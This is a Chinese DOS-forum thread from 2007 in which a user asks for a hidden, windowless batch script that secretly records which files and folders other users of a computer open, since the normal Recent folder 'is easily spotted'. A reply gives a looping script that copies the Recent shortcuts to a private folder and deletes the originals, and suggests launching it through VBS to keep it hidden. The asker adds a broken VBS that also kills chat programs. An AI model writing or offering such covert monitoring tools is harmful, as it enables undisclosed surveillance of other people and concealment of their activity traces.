中国DOS联盟

谁能帮我写这样的一个批处理啊？

（1）当打开该批处理后，就开始记录用户使用电脑的操作记录，将用户打开的

那些文件和文件夹以快捷方式的形式保存到某一指定的文件夹里面（我知道电脑

系统自己会将用户的操作记录保存到C:\Documents and

Settings\Administrator\Recent

目录下面，但这个容易被稍有电脑常识的人识破）。

（2）运行这个批处理时，这个批处理应该是在后台运行的，即没有窗口，也没

有最小化到任务栏里面。

不好意思，我发表了新话题之后，刷新了三次，搞得弄了三个话题都是重复的，实在是抱歉！！！:(

有个 思路 不知道 怎么 杨

用 vbs 启动 批 的话 大概能 达到 后台的效果 不过 进程 管理器 有个 cmd 进程

可以 用 命令
copy C:\Documents and

Settings\Administrator\Recent


里的内容 然后清空 用 延迟 命令 控制 copy 速度

然后 一直 循环


-------------- 有点 乱

呵呵 我 写 了 个

有点 简陋 可以 自己 修改
-----------------------------
@echo off
:a
copy C:\"Documents and Settings\Administrator"\Recent\*.* d:\记录\
del /f /q C:\"Documents and Settings\Administrator"\Recent\*.*
ping 127.255.255.255 -n 1 -w 5000 >nul
goto a
-------------------------------------------------

5000 就是 5秒 循环一次


希望 是你要的 效果 QQ 236189165

用 vbs 运行 就可以 达到 后台的效果

[ Last edited by mayu2004 on 2007-12-23 at 08:43 PM ]

谢谢楼上兄弟的答复，我开始也是这么想的，但最后觉得这样做是否有点太浪费系统的内存了？不过明天给你加分吧，今天我加的分超过我的限制了！

本人是个超级菜鸟啊，我写了个下面的VBS文件，却老是不能运行，谁帮忙看看

啊！！

dim path_1="I:\Documents and Settings\Administrator\Recent"

dim path_2="D:\记录"

dim processNames,processName

processNames=Array("WangWang.exe","QQ.exe","eMule.exe") '禁止运行旺旺，QQ，电骡，迅雷，飞信

set FSO=wscript.createObject("scripting.FileSystemObject")

set f_1=FSO.getFile(path_1)

do

call copy()

wscript.sleep 2500

call killProcess()

wscript.sleep 2500

loop

sub copy() '复制文件的函数

f_1.copy(path_2) '将path_1文件夹中的文件复制到path_2文件夹中

end sub

sub killProcess() '禁止运行制定进程的函数

on Error resume next

Set objWMIService=GetObject("winmgmts:{impersonationLevel=Impersonate}!root\cimv2")

for each ProcessName in ProcessNames

Set colProcessList=objWMIService.execquery(" Select * From win32_process where name = '" & ProcessName & "' ")

For Each objProcess in colProcessList

objProcess.terminate()

wscript.sleep 3000

end sub

不懂 vbs 不过 用 批处理 的话 延迟 高 一些 的话

因该 没 问题

我机器 测试过

能 控制在 5m 以下的内存